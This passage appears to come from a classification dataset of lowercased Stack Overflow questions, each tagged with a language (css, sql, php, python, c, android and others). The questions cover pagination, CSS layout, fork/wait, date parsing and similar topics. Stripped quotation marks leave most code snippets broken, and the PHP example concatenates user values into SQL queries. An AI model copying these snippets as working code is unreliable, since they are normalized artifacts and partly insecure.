ul a:active{     color: #00ffff;     background: #ff0033;     text-decoration: none; }  /*sub level menu list items*/ .horizontalcssmenu ul li ul li{     display: inline;     float: none; }  .horizontalcssmenu ul li ul li a:active{     color: #00ffff;     background: #ff0033;     text-decoration: none; }  /* sub level menu links style */ .horizontalcssmenu ul li ul li a{     width: 100px; /*width of sub menu levels*/     font-weight: normal;     padding: 2px ;     background: #663300;     border-width:  1px 1px 1px; }  .horizontalcssmenu ul li ul li a:active{     color: #00ffff;     background: #ff0033;     text-decoration: none; }  .horizontalcssmenu ul li a:hover{     color: #0066ff;     background: #ff0033;     text-decoration: none; }  .horizontalcssmenu ul li a:active{     color: #00ffff;     background: #ff0033;     text-decoration: none; }  .horizontalcssmenu ul li ul li a:hover{     color: #00ffcc;     background: #cccc66 }  .horizontalcssmenu .arrowdiv{     position: absolute;     right: 1;     background: transparent url(image/bg-bubplastic-button.gif) no-repeat center left; }  * html p#iepara{ /*for a paragraph (if any) that immediately follows menu  add 1em top spacing between the two in ie*/     padding-top: 1em; }  /* holly hack for ie \*/ * html .horizontalcssmenu ul li { float: left; height: 1%; } * html .horizontalcssmenu ul li a { height: 1%; } /* end */ </code></pre>   when the user moves to the specified page  the button color should change and remain the same as long as he is in that page. how can i do this,css
count rows under within specific ranges  i have the following data:   <pre><code>server        avgvalue server1       1.29           server2       0.2            server3       1.74         server4       0.58           server5       2.06          server6       2.82          </code></pre>   i d like to show the count of servers that have an:    <ol> <li>avgvalue &lt; 10</li> <li>avgvalue > 10 and &lt; 30</li> <li>avgvalue > 30 and &lt; 50</li> <li>avgvalue > 50 and &lt; 80</li> <li>avgvalue > 80</li> </ol>   any suggestions    <hr>   alberto has provided the best option so far  and does answer my original question. i am however running into cases where the server is listed multiple times  and i d like to average the avgvalue and make sure the server is only counted once in the range. thoughts,sql
php preserve data filter on page switch  everything works perfectly on the paging template except the tsql filter reset whenever there is a page switch.    <pre><code>    session_start(); // initiate session     $conn = getconnection(); /*     place code to connect to your db here. */ include( config.php );  // include your code to connect to db.    $tbl_name= vwjobwantedlisting ;     //your table name // how many adjacent pagers should be shown on each side  $adjacents = 3;  /*     first get total number of rows in data table.     if you have a where clause in your query  make sure you mirror it here. */   if(isset($_post[ search ])){     $_session[ s_salary ]= osc_esc_html( $_request[ s_salary ] );     $_session[ s_educ01 ]= osc_esc_html( $_request[ s_educ01 ] );      $query = sprintf(  select count(*) as num from $tbl_name where s_educ01= %s   $_session[ s_educ01 ] ) ;     //echo $query;   }else {     $_session[ s_salary ]= -1 ;     $_session[ s_educ01 ]= --select-- ;      $query =  select count(*) as num from $tbl_name  ; }  $query = sprintf(  select count(*) as num from $tbl_name where s_educ01= %s   $_session[ s_educ01 ] ) ; $_session[ sql_cnt ]=$query ;    $total_pagers = mysql_fetch_array(mysql_query( $_session[ sql_cnt ] )); $total_pagers = $total_pagers[num];  /* setup vars for query. */ $targetpager =  index.php page=custom&amp;file=profile_cv/list_wanted.php ;     //your file name  (the name of this file) $limit = 5;                                 //how many items to show per pager $pager = $_get[ pager ]; if($pager)      $start = ($pager - 1) * $limit;             //first item to display on this pager else     $start = 0;                             //if no pager var is given  set start to 0  /* get data. */  if(isset($_post[ search ])){      $sql =  select * from $tbl_name where s_educ01=  .  $_session[ s_educ01 ].    limit $start  $limit  ; }else{      $sql =     select * from $tbl_name limit $start  $limit ; }   $_session[ sql_src ]=$sql;  $result = mysql_query($_session[ sql_src ]);   /* setup pager vars for display. */ if ($pager == 0) $pager = 1;                    //if no pager var is given  default to 1. $prev = $pager - 1;                         //previous pager is pager - 1 $next = $pager + 1;                         //next pager is pager + 1 $lastpager = ceil($total_pagers/$limit);        //lastpager is = total pagers / items per pager  rounded up. $lpm1 = $lastpager - 1;                     //last pager minus 1  /*      now we apply our rules and draw the pagination object.      we re actually saving the code to a variable in case we want to draw it more than once. */  $pagination =   ; if($lastpager &gt; 1) {        $pagination .=  &lt;div class=\ pagination\ &gt; ;     //previous button     if ($pager &gt; 1)          $pagination.=  &lt;a href=\ $targetpager pager=$prev\ &gt; previous&lt;/a&gt; ;     else         $pagination.=  &lt;span class=\ disabled\ &gt; previous&lt;/span&gt; ;        //pagers         if ($lastpager &lt; 7 + ($adjacents * 2))  //not enough pagers to bother breaking it up     {            for ($counter = 1; $counter &lt;= $lastpager; $counter++)         {             if ($counter == $pager)                 $pagination.=  &lt;span class=\ current\ &gt;$counter&lt;/span&gt; ;             else                 $pagination.=  &lt;a href=\ $targetpager pager=$counter\ &gt;$counter&lt;/a&gt; ;                            }     }     elseif($lastpager &gt; 5 + ($adjacents * 2))   //enough pagers to hide some     {         //close to beginning; only hide later pagers         if($pager &lt; 1 + ($adjacents * 2))                {             for ($counter = 1; $counter &lt; 4 + ($adjacents * 2); $counter++)             {                 if ($counter == $pager)                     $pagination.=  &lt;span class=\ current\ &gt;$counter&lt;/span&gt; ;                 else                     $pagination.=  &lt;a href=\ $targetpager pager=$counter\ &gt;$counter&lt;/a&gt; ;                                }             $pagination.=  ... ;             $pagination.=  &lt;a href=\ $targetpager pager=$lpm1\ &gt;$lpm1&lt;/a&gt; ;             $pagination.=  &lt;a href=\ $targetpager pager=$lastpager\ &gt;$lastpager&lt;/a&gt; ;                }         //in middle; hide some front and some back         elseif($lastpager - ($adjacents * 2) &gt; $pager &amp;&amp; $pager &gt; ($adjacents * 2))         {             $pagination.=  &lt;a href=\ $targetpager pager=1\ &gt;1&lt;/a&gt; ;             $pagination.=  &lt;a href=\ $targetpager pager=2\ &gt;2&lt;/a&gt; ;             $pagination.=  ... ;             for ($counter = $pager - $adjacents; $counter &lt;= $pager + $adjacents; $counter++)             {                 if ($counter == $pager)                     $pagination.=  &lt;span class=\ current\ &gt;$counter&lt;/span&gt; ;                 else                     $pagination.=  &lt;a href=\ $targetpager pager=$counter\ &gt;$counter&lt;/a&gt; ;                                }             $pagination.=  ... ;             $pagination.=  &lt;a href=\ $targetpager pager=$lpm1\ &gt;$lpm1&lt;/a&gt; ;             $pagination.=  &lt;a href=\ $targetpager pager=$lastpager\ &gt;$lastpager&lt;/a&gt; ;                }         //close to end; only hide early pagers         else         {             $pagination.=  &lt;a href=\ $targetpager pager=1\ &gt;1&lt;/a&gt; ;             $pagination.=  &lt;a href=\ $targetpager pager=2\ &gt;2&lt;/a&gt; ;             $pagination.=  ... ;             for ($counter = $lastpager - (2 + ($adjacents * 2)); $counter &lt;= $lastpager; $counter++)             {                 if ($counter == $pager)                     $pagination.=  &lt;span class=\ current\ &gt;$counter&lt;/span&gt; ;                 else                     $pagination.=  &lt;a href=\ $targetpager pager=$counter\ &gt;$counter&lt;/a&gt; ;                                }         }     }      //next button     if ($pager &lt; $counter - 1)          $pagination.=  &lt;a href=\ $targetpager pager=$next\ &gt;next &lt;/a&gt; ;     else         $pagination.=  &lt;span class=\ disabled\ &gt;next &lt;/span&gt; ;     $pagination.=  &lt;/div&gt;\n ;        } </code></pre>   i tired the session to hold data filter variable but the reset happen all the time when there is a page move.    any idea will be much appreciated.,php
comparing two strings in python with duplicates  i am trying to compare the two strings:  apple  and  pear  and return letters that do not belong to the other string.    for example   apple  does not contain  r  in  pear      pear  does not contain  l  and  p  in apple (pear contains p but does not contains two p s).    so i want to have a function that returns  r    l   and  p .    i tried set  but it ignores the duplicates (p  in this example).   <pre><code>def solution(a  b):     n = len(a)     m = len(b)     letters_not_in_b = list(set([c for c in a if c not in b]))     letters_not_in_a = list(set([c for c in b if c not in a]))     answer = len(letters_not_in_b) + len(letters_not_in_a)     return answer </code></pre>,python
how to ignore non alphabetic characters in c when read file  i am reading a file using <code>fscanf</code>. i want to ignore non alphabetic characters like commas  \   :  and dots.    this is my code:   <pre><code>file *fp; fp = fopen(fl  r ); char c[50];  while(fscanf(fp   %s   c)!= eof){     linklst(c);  }  fclose(fp); </code></pre>   how do i read file word by word ignoring non alphabetic characters     { part of the file as follows    with answers:    1) what written language is the most complicated in the world  (hint: it uses four character sets.) (is this question too easy )  >> japanese    2) what language has a vocabulary primarily of arabic origin (about 70%  i m told)  but uses the roman alphabet  (i d like to know where you found the answer!)  >> maltese    3) what non-romance language uses a tilde (~) over the letter n  >> estonian },c
get intent from broadcast receiver to activity  i want my <code>activity class</code> to receive an intent from <code>broascast receiver</code> (example <code>start_talking</code>  <code>stop_talking</code>). and when i receive that <code>intent</code>  i want to check what action was being passed. how can i do this. my receiver is in separate class  it s <code>public</code>.     here s my code   <pre><code>public void onreceive(context context  intent intent) {     if (intent.action_media_button.equals(intent.getaction())) {         keyevent event = intent.getparcelableextra(intent.extra_key_event);                 switch (event.getkeycode()) {     case keyevent.keycode_headsethook:         if (action == keyevent.action_down)             // here i want to notify my activity class (e.g.      startactivity  i don t know)         break;     case keyevent.keycode_media_play_pause:         // here i want to notify my activity class (e.g.      startactivity  i don t know)               }     } } </code></pre>   i really need your help guys tnx.,android
how to write using space and more than one line in c   i want to write a text and save it in .txt using <code>&lt;stdio.h&gt;</code> and <code>&lt;stdlib.h&gt;</code>. but with this way  i only could save one line  no more.    <pre><code>int main() {    file*pf;    char kar;     if ((pf = fopen( try.txt   w )) == null)    {       printf( file couldn t created!\r\n );       exit(1);    }     while((kar=getchar()) !=  \n )       fputc(kar  pf);     fclose(pf); } </code></pre>,c
css centering items <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/527811/css-vertical-centering >css vertical centering</a>    </blockquote>     i d forgotten just how difficult it is to center things in css.    in the attached code i am trying to vertically align both the image and the titletext or maybe the whole  innersection  div if that is easier.  also trying to horizontally align the titletext within the remaining space left after the image has been aligned to the left.   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;style&gt;*{margin: 0; padding: 0;}&lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;div id= header  style= position: absolute; top: 0px; height: 8em; width: 100%; background: grey; &gt;         &lt;div id= titlesection  style= height: 6em; background: green; &gt;             &lt;div id= innersection  style= margin-top: auto; margin-bottom: auto; background: yellow; &gt;                 &lt;iimg src= images/burgee.jpg  style= vertical-align: center; &gt;                 &lt;span style= width: 100%; margin:0 auto; text-align: center; font-size: xx-large; background: teal; &gt;titletext&lt;/span&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;div id= menu  style= position: absolute; bottom : 0px; height: 2em; width: 100%; background: lightblue; &gt;             menu goes here         &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>  <hr>   almost there.  i couldn t just give up and use a table instead  would have been too easy.    currently have the code below which partly works but... when i use a div for the titletext it centers horizontally but is not exactly vertically inline with the image.  change to a span instead (without float: left) and vertical alignment is correct  just that then because a span doesn t span the whole width of the header the text is no longer centered.    so near but so far!  can anyone see how to get this working.    thanks    <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.1//en   http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd &gt; &lt;html&gt;     &lt;head&gt;         &lt;style&gt;             .vcentouter {                 top: 0; left: 0; width: 100%; height: 100%; position: absolute; display: table                 }             .vcentinner {                 display: table-cell; vertical-align: middle                 }             #header{                 height: 17em;                 width: 100%;                 }             #header img {                 margin: 1em;                 }             #title{                 width: 100%;                 text-align: center;                 color: red;                 font: bold italic xx-large  century gothic    sans-serif ;                 }         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div id= header &gt;             &lt;div class= vcentouter  style= height: 15em; background: green; &gt;                 &lt;div class= vcentinner  style= background: blue; &gt;                    &lt;img src= images/burgee.jpg  style= vertical-align: middle; float: left; /&gt;                    &lt;div id= title  style= width: 100%; background: pink; &gt;titletext&lt;/div&gt; &lt;!--                    &lt;img src= images/burgee.jpg  style= vertical-align: middle /&gt;                    &lt;span id= title  style= width: 100%; background: pink; &gt;titletext&lt;/span&gt; --&gt;                    &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;      &lt;/body&gt; &lt;/html&gt; </code></pre>,css
wait for $http.get to finish when the service is called  i am facing a problem where the controller calls the service function getmylist but mylists is not populated yet as $http call takes some time to complete.    how do i resolve this problem      here is my code snippet:     service   <pre><code>app.factory( myservice   function($http) {     var mylist = [];      $http.get( http://myservice/json.data ).then(function (resp) {         mylists = resp.data;     });      return {         getmylist: function (name) {             for (var i = 0; i &lt; mylists.length; i++) {                 if (mylist[i].name == name) {                     return mylists[i];                 }             }         }     } } </code></pre>   controller:   <pre><code>app.controller( mainctrl   function( myservice $scope) {     var testname =  test      myservice.getmylist(testname).then(function(resp) {         // do something with resp data     }); }); </code></pre>,angularjs
why isn t the title attribute working on mouseover of table header   i currently have a table with columns that might not immediately be obvious in meaning. how do i add mouseover explanation text to a table column header     for example  this will add the appropriate mouseover:   <pre><code>&lt;span title= i am hovering over the text &gt;test&lt;/span&gt; </code></pre>   but when i add it to a table with:   <pre><code>&lt;table style= width:100% &gt;   &lt;tr&gt;     &lt;span title= i am hovering over the text &gt;&lt;th&gt;jill&lt;/th&gt;&lt;/span&gt;     &lt;th&gt;smith&lt;/th&gt;           &lt;th&gt;50&lt;/th&gt;   &lt;/tr&gt; &lt;/table&gt; </code></pre>   the mouseover appears to not be applied anymore.,html
row editing in the grid doesn t work in first click  i have a user control which contains a grid and three buttons for add edit and delete. i have placed this user control on an asp.net page. i have onclick events for these buttons. when i click on add and delete buttons it s working fine but when i click on edit button the onclick event of edit button is fired but the row in the grid doesn t appear in the edit mode  i have to click two times. i don t know where is the problem.the onclick event handler for edit button is as follows:     <pre><code>protected void btneditbankaccount_click(object sender  eventargs e)         {             grdbankaccounts.editindex = grdbankaccounts.selectedindex;             grdbankaccounts.rowselectingenabled = false;          } </code></pre>   anyone please help.    my user control has a method which binds the grid to the data source  it s as follows   <pre><code>public void setsupplierdata(suppliertype supplier)         {             if (supplier != null)             {                     viewstate[ supplierid ] = supplier.supplierid;                     grdbankaccounts.datasource = supplier.bankaccounts;                     grdbankaccounts.databind();                     session[ bankaccounts ] = supplier.bankaccounts;          }       } </code></pre>   the setsupplierdata method is called from the page where i have my user control.,asp.net
enumerate records in table on multiple columns <pre><code>id     descr    points   ---------------------- 1000    24      100  1000    24      40   1000    25      100 1000    25      40   2000    24      100 2000    25      100 2000    26      100  </code></pre>   above is my table. i want to add/update column enumerating records on basis of <strong>id</strong> and <strong>descr</strong>. how can i do that     below is the result i am looking for.    <pre><code>id     descr    points   order#  ------------------------------- 1000    24      100         1  1000    24      40          2 1000    25      100         1   1000    25      40          2 2000    24      100         1 2000    25      100         2 2000    26      100         3   </code></pre>,sql
related to c# & procedure  i have created a huge web form and want to create and call procedure for it.the c# .net form is in visual studio and procedure from sql plus. kindly help me create and call procedure for such huge web form  as it has multiple questions.    here is my code from <strong>.aspx.cs</strong>   <pre><code>public void insert_pagea(object sender  eventargs e)  { oracleconnection con = new oracleconnection();     con.connectionstring = configurationmanager.connectionstrings[ dsn1 ].connectionstring;     con.open();     oraclecommand cmd = new oraclecommand();     cmd.commandtext =  fill_form ;     cmd.commandtype = commandtype.storedprocedure;     cmd.connection = con;     try                                                        {          cmd.parameters.add(new oracleparameter( an_name   oracletype.varchar)).value = textbox53.text;         cmd.parameters.add(new oracleparameter( an_add_name   oracletype.varchar)).value = txtaddname.text;         cmd.parameters.add(new oracleparameter( an_question_1   oracletype.varchar)).value = txtlastadd.text;         cmd.parameters.add(new oracleparameter( an_question_2   oracletype.varchar)).value = textbox1.text;         cmd.parameters.add(new oracleparameter( an_question_3   oracletype.varchar)).value = textbox2.text;         cmd.parameters.add(new oracleparameter( an_question_4   oracletype.varchar)).value = textbox3.text;         cmd.parameters.add(new oracleparameter( an_question_5   oracletype.varchar)).value = textbox4.text;         cmd.parameters.add(new oracleparameter( an_question_6   oracletype.varchar)).value = textbox5.text;         cmd.parameters.add(new oracleparameter( an_question_7   oracletype.varchar)).value = textbox6.text;         cmd.parameters.add(new oracleparameter( an_question_8   oracletype.varchar)).value = textbox7.text;         cmd.parameters.add(new oracleparameter( an_question_10   oracletype.varchar)).value = textbox9.text;         cmd.parameters.add(new oracleparameter( an_question_11   oracletype.varchar)).value = textbox10.text;         cmd.parameters.add(new oracleparameter( an_question_12   oracletype.varchar)).value = textbox11.text;         cmd.parameters.add(new oracleparameter( an_question_13   oracletype.varchar)).value = textbox12.text;         cmd.parameters.add(new oracleparameter( an_question_14   oracletype.varchar)).value = textbox13.text;         cmd.parameters.add(new oracleparameter( an_question_15   oracletype.varchar)).value = textbox14.text;         cmd.parameters.add(new oracleparameter( an_question_16   oracletype.varchar)).value = textbox15.text;         cmd.parameters.add(new oracleparameter( an_question_17   oracletype.varchar)).value = textbox16.text;         cmd.parameters.add(new oracleparameter( an_question_18   oracletype.varchar)).value = textbox17.text;         cmd.parameters.add(new oracleparameter( an_question_19   oracletype.varchar)).value = textbox18.text;         cmd.parameters.add(new oracleparameter( an_question_20   oracletype.varchar)).value = textbox19.text;         cmd.parameters.add(new oracleparameter( an_question_21   oracletype.varchar)).value = textbox20.text;  } } </code></pre>   procedure:    create or replace procedure fill_form ( question_id in number  answer_text in varchar2  answer_boolean in number )  as  begin insert into vendor_question_d(question_id answer_text answer_boolean) values(question_id answer_text answer_boolean);  commit;  end;,asp.net
bulletedlist in asp.net  how i can give separate style to custom image of bulletdlist in .net,asp.net
how to check if there is a conflict in day/room/start time/end time mysql  so i have a table named tbl_fullsched. <a href= http://i.stack.imgur.com/i6qfr.jpg  rel= nofollow >here it is</a>. as you can see  there are column named day  room  start and end. they are all varchar(). i want to compare all the data in this columns and display the data that has conflict. like for example the  monday  has two schedule in the same room but the time is conflicting with each other. please help. thanks,mysql
complicated c++ homework  so i am working on a theater seating problem. the output of the program isn t lining up the way it should. i need help lining up the # and * with their proper columns. also pressing q to quit isn t working. also  i need to figure out how to read the seating chart information from a file.if the file with the seating info does not exist yet  it means that all the seats are empty. whenever the program ends  the seating chart information should be stored in this file. any other tips would also be helpful. here is my code so far:   <pre><code>#include  stdafx.h  # include &lt;iostream&gt; # include &lt;iomanip&gt; using namespace std;  void seats( double []   int); void mapseats(); char moviemenu(char);  int main() {     const int rownum = (15.0);     double rowvalue[rownum]; //array to hold row pices     char selection;     int row2  col2;     const char taken =  # ;//seats taken     const char empty =  * ;//seats free     const int row = 15;//number of rows     const int col = 20;//number of col     char map[row][col];//array to hold seat chart     for(int i= 0;i&lt;row;i++)//initiating array  {     for (int j=0;j&lt;col;j++)     {         map[i][j]=empty;     } }  mapseats();  seats(rowvalue  rownum);//ask user to enter price of each row cout &lt;&lt; endl;  do     {         cout &lt;&lt;  movie theater menu  &lt;&lt; endl;         cout &lt;&lt;  ------------------  &lt;&lt; endl;         cout &lt;&lt;  1) sell a ticket  &lt;&lt; endl;         cout &lt;&lt;  q) quit program  &lt;&lt; endl;         cout &lt;&lt;  please make a selection:  ;         cin &gt;&gt; selection;          if(selection == 1 )         {             cout &lt;&lt;  please enter a row number and a seat number for the ticket:   ;             cout &lt;&lt;  row # :  ;             cin &gt;&gt; row2;             cout &lt;&lt; endl;             cout &lt;&lt;  seat # :  ;             cin &gt;&gt; col2;             cout &lt;&lt; endl;              // check if seat is free         if(map[row2][col2] == taken) {              cout &lt;&lt;  this seat is taken! try another one. \n ;             continue; // start the loop again                      }             else // and if it is - sell the ticket             map[row2][col2]=taken;         // add the next loop to immediately see the effects:             for (int i = 0; i &lt; row; i++){                 for(int j = 0; j &lt; col; j++){                 cout &lt;&lt; map[i][j];                 } cout &lt;&lt; endl;     }          }         else if(selection == q ||selection== q )         {             cout &lt;&lt;  thank you for using the program.  &lt;&lt; endl;         }         else if(selection !=  1  || selection != q  || selection != q )         {             cout &lt;&lt;  invalid selection.  &lt;&lt; endl;         }     }while(selection !=  1  || selection != q  || selection != q );   system( pause ); return 0;     }       void seats(double rowprice[]  int row)     {  cout &lt;&lt;  please enter a ticket price for each row.  &lt;&lt; endl;  for(int i = 0 ; i &lt; row; i++) {     cout &lt;&lt;  row #   &lt;&lt; i+1 &lt;&lt;  :   ;     cin &gt;&gt; rowprice[i];  }     }      void mapseats()     {     const char taken =  # ;//seats taken     const char empty =  * ;//seats free     const int rw=20;     const int cl=15;      cout &lt;&lt;  seats   ;     for(int k = 0 ; k &lt;20;k++) //loop to display nums 0 to 19     {     cout &lt;&lt; fixed&lt;&lt; setw(2) &lt;&lt;     &lt;&lt; k ;     }  for(int i=0;i&lt;rw;i++)//making array display what s in it {     cout &lt;&lt; endl&lt;&lt;  row   &lt;&lt; i;     for(int j=0;j&lt;cl;j++)     {         cout &lt;&lt; fixed&lt;&lt; setw(2) &lt;&lt;    &lt;&lt; empty;     } } cout &lt;&lt; endl;     } </code></pre>,c++
how to get a redirected address in c#  i can download a page from a website using    <pre><code>sstring = new system.net.webclient().downloadstring(page); </code></pre>   but if the page redirects  how can i capture the new address.  for example  if i fetch google.com website  i would like to grab the page it redirects to so i can get the ei code.,c#
cross browser stretch menu items actual items  i m trying to stretch the menu  almost like it s been done here: <a href= https://stackoverflow.com/questions/5186712/stretch-horizontal-ul-to-fit-width-of-div >stretch horizontal ul to fit width of div</a>    only i m trying to make it so that the actual texts  are to the very left and right (now their containing li are stretched  but the text is centered.     any ideas och links to examples  :) css/or table doesn t matter  as long as it works in all browsers :)    like this: <a href= http://www.alisso.se/wordpress/uploads/2012/05/spread-menu.png  rel= nofollow noreferrer >http://www.alisso.se/wordpress/uploads/2012/05/spread-menu.png</a>,css
using alisas in mysql if statements  i am trying to find which of two specified rows in one table costcentreclientgroups has the most related records in another table costcentreclientgroupmembership    so i have   <pre><code>select if((select count(*) from  db6901371_clients.costcentreclientgroupmembership c1 join db6901371_clients.costcentreclientgroups c2  on c1.costcentreclientgroupid = c2.costcentreclientgroupid where c2.costcentreclientgroupid =  1a64fa70-aa0d-11e4-8c36-776ec28246d8   group by c2.costcentreclientgroupid) &gt;  (select count(*) from db6901371_clients.costcentreclientgroupmembership c3 join db6901371_clients.costcentreclientgroups c4  on c3.costcentreclientgroupid = c4.costcentreclientgroupid where c4.costcentreclientgroupid =  1a7582f0-aa0d-11e4-8c36-776ec28246d8   group by c4.costcentreclientgroupid)   c2.costcentreclientleaderid  c4.costcentreclientleaderid) as costcentreclientleaderid </code></pre>   individually the if clauses work    so;   <pre><code>select count(*) from db6901371_clients.costcentreclientgroupmembership c1 join db6901371_clients.costcentreclientgroups c2  on c1.costcentreclientgroupid = c2.costcentreclientgroupid where c2.costcentreclientgroupid =  1a64fa70-aa0d-11e4-8c36-776ec28246d8   group by c2.costcentreclientgroupid </code></pre>   works    but when i combine the two the overall statement gives    unknown table  c2  in field list,mysql
comma delimited string or list to variables in python 2  i am looking to take a list or string that when printed looks like this:   <pre><code>9532167 box c 5 20 </code></pre>   and assign each comma delimited value to a set variable like so:   <pre><code>var1=9532167 var2=box var3=c var4=5 var5=20 </code></pre>   (note-this isn t code  but how i want the pieces of string to be assigned to the variables)    currently i have:   <pre><code>var1  var2  var3  var4  var5 = mystring </code></pre>   but get this error:        <pre><code>exceptions.valueerror: too many values to unpack </code></pre>   i realize it is a very simple question  but no amount of searching has turned up something i can understand. i m a newb to python.    thank you for any help.,python
android sdk: i m re-installing sdk which versions to choose   hi i m reinstalling the sdk again due to it falling apart on sdk tools rev 20 upgrade. and i was wondering out of all the options which ones should i be installing. i note that <a href= http://developer.android.com/about/dashboards/index.html  rel= nofollow noreferrer >link here</a> api 10 2.3.3 is the most popular. but whenit comes to installing my sdk to start coding  if i just wanted to release for this verison should i just select this option for install  i would assume that all new version would be compatible with earlier revisions  is this the case  so coding against api 10 would enable anyone from api10-latest to use the software  if this is the case isn t it worth coding against the lowest api     <img src= https://i.stack.imgur.com/xk7bv.jpg  alt= enter image description here >,android
c#  parsing a date from string error  in the c#  i am parsing a date from string  but it gives me error    <pre><code>datetime.parse( 07/26/2012 ); </code></pre>   the error   <pre><code> system.formatexception: string was not recognized as a valid datetime.    at system.datetimeparse.parse(string s  datetimeformatinfo dtfi  datetimestyles styles)    at system.datetime.parse(string s) </code></pre>   is it related to date format   is it related to my pc setting      thanks,c#
joining two tables in mysql with where clause condition  i have two tables  say employees and date of joining.now  i want to  join both tables based on the employee id but i want to display the complete list of employees irrespective of whether joining date is been registered or not..here are the two tables   <pre><code>employee john                         paul                         george ringo  doj 21/05/1998 23/02/2006 </code></pre>   empids being 1 2 3 4 for john paul george ringo respectively    i need both the tables to be joined and the values of george and ringo can be null but my main concern is i should be able to filter the doj. please look below.   <pre><code>select e.empname  d.doj  e.empid from employee as e left join doj as d on e.empid = d.empid where d.doj between str_to_date( 27/04/2000    %d/%m/%y )   and str_to_date( 27/04/2014    %d/%m/%y )) </code></pre>   now when i run this query i get all the records filtered by the dates but i need all the employee names not just the ones filtered by where clause(with doj as null which i can replace as  not available ). i wish there was a full outer join option in mysql.,mysql
selectively disable versions of the .net framework  is it possible to temporarily and selectively disable one or more versions of the .net framework installed on a computer without actually uninstalling each one  the need is to check the effect on programs when certain versions of the framework are not available.,.net
is principalcontext thread-safe in c#   i m recreating the same principalcontext over and over again. is it safe to shove it in a static field and just reuse one instance across threads,.net
python  leap year logic error <pre><code>def is_leap(year):      leap = false      if(year % 4 == 0 and year % 100 != 0) or (year%400 == 0 ):          print  leap year       else:          return leap </code></pre>   what do i need to change in the above code  1992 2400 2000... it doesn t work for these. i couldn t find any other logic.,python
uiimageview animation problem   i have one imageview in ib.i linked it perfectly in my view controller s iboutlet  which is as ib_img .i have done in my viewdidload as   <pre><code>     self.ib_img.animationimages = [nsarray arraywithobjects:      [uiimage imagenamed:@ img_1.jpg ]   [uiimage imagenamed:@ img_2.jpg ] nil];    self.ib_img.animationduration = 1;   self.ib_img.animationrepeatcount = 0;  [self.ib_img startanimating]; </code></pre>   it is not working perfectly....image is not in screen..but if i do it in without ib in other words dynamically...it works perfectly...any help please to do animation  with ib,iphone
javascript: check if the referer url is exactly like  i use    <pre><code>$(document).ready(function () {             if(window.location.href.indexof( https://www.exact-url.com/ ) &gt; -1               || window.location.href.indexof( /index.htm ) &gt; -1) {                alert( your are on the start page );             }          }); </code></pre>   i want to know if the referer url ist the start page. they have two possible urls. with <code>window.location.indexof</code> is the first argument always true - because every refferer contains this url.    how can i search exactly for the referrer  thanks in advance,javascript
python parent class instance variables  i have a parent class named <code>parent</code> and its like this:   <pre><code>class parent(object):      def __init__(self p1 p2):         super(parent self).__init__()         self.p1= p1         self.p2= p2 </code></pre>   i have another child class that looks like the following:   <pre><code>class child(parent):      def __init__(self p1 p2 p3):         super(child self).__init__()         self.p1 = p1         self.p2 = p2         self.p3 = p3 </code></pre>   this child class has one extra instance variable called <code>p3</code>. what i am trying to do is have the ability to create objects with parameters. these parameters are used to update both the inherited variables <code>p1 &amp; p2</code> of class <code>parent</code> and its own instance variables <code>p3</code>. but when i run the above  i get error:   <pre><code>if __name__ ==  __main__ :     p1 = parent( p1_parent   p2_parent )       p2 = child( p1_child   p1_child   p1_child ) </code></pre>   error:   <pre><code>typeerror: __init__() takes exactly 3 arguments (1 given) </code></pre>,python
securly send passwords with php  imagine the following situation: you distribute software for websites including support (a wordpress or joomla! extension for example). a person  let s call him bob  ask you to help him with your software and sends you a username and password to login on his website. at this moment  the username and password are stored as plain text in your support database. how can you encrypt that  so that if the database is hacked nobody can read it.    it seems quite obviously that you have to do some encryption. but functions like <code>password_hash()</code> are only for one way encryption. so how you do this,php
trying to add an additonal product group of  +p   just picking up work from an ex-employee and am quite new to sql  i seem to be picking it up quite quickly but as most of our systems are live  i m hesitant to make any drastic changes in case the websites based on these systems completely fall over.    the question i have is  there is currently the following code in place:   <pre><code>select  * from ( select  p.product          p.description          p.warehouse          case             when right(rtrim(p.product) 2) =  +p  then (select physical_qty - allocated_qty from scheme.stockm p2 where p2.warehouse = p.warehouse and p2.product = replace(p.product   +p     ))             when right(rtrim(p.product) 2) =  +p1  then (select physical_qty - allocated_qty from scheme.stockm p2 where p2.warehouse = p.warehouse and p2.product = replace(p.product   +p1     ))             else physical_qty - allocated_qty         end as  stock           case             when warehouse =  x1  then trade.price * 0.85             else trade.price * 0.8         end as  price  from    scheme.stockm p inner join         scheme.oplistm as trade with(nolock) on p.product = trade.product_code and trade.price_list =  mt  where   (warehouse =  x1  or      warehouse =  x2 ) and     analysis_b &lt;&gt;  0421  and     analysis_b &lt;&gt;  0531  and     analysis_b &lt;&gt;  0409  ) as t where t.stock &gt; 0 and rtrim(product) +  +p  not in (select product from    scheme.stockm where   warehouse =  x1  or      warehouse =  x2 ) and rtrim(product) +  +p1  not in (select product from    scheme.stockm where   warehouse =  x1  or      warehouse =  x2 ) and     product not like  bag%  and     product not like  mds%  and     upper(description) not like  %stand%  </code></pre>   this code pulls through the price lists for all products currently  except for our product range with +p included in the title  i m enquiring what needs to be done to the current code to include the product range with +p  as this needs to be included.    any help would be greatly appreciated.    kind regards dean gent,sql
fork and wait - how to wait for all grandchildren to finish  i am working on an assignment to build a simple shell  and i m trying to add a few features that aren t required yet  but i m running into an issue with pipes.    once my command is parsed  i fork a process to execute them. this process is a subroutine that will execute the command  if there is only one left  otherwise it will fork. the parent will execute the first command  the child will process the rest. pipes are set up and work correctly.    my main process then calls <code>wait()</code>  and then outputs the prompt. when i execute a command like <code>ls -la | cat</code>  the prompt is printed before the output from cat.    i tried calling <code>wait()</code> once for each command that should be executed  but the first call works and all successive calls return <code>echild</code>.    how can i force my main thread to wait until all children  including children of children  exit,c
create proxmox vm using c#  i am totally new to proxmox ve and i want to create a vitual machine inside proxmox using c# console application.    i have search a lot and i only found an api program  which has all the functionality but i don t know how to use it. <a href= https://github.com/enterpriseve/eve2pve-api-dotnet  rel= nofollow noreferrer >https://github.com/enterpriseve/eve2pve-api-dotnet</a>    can someone help me how to create and delete a vm in proxmox using this api in detail or anyone have any different approach to do this,c#
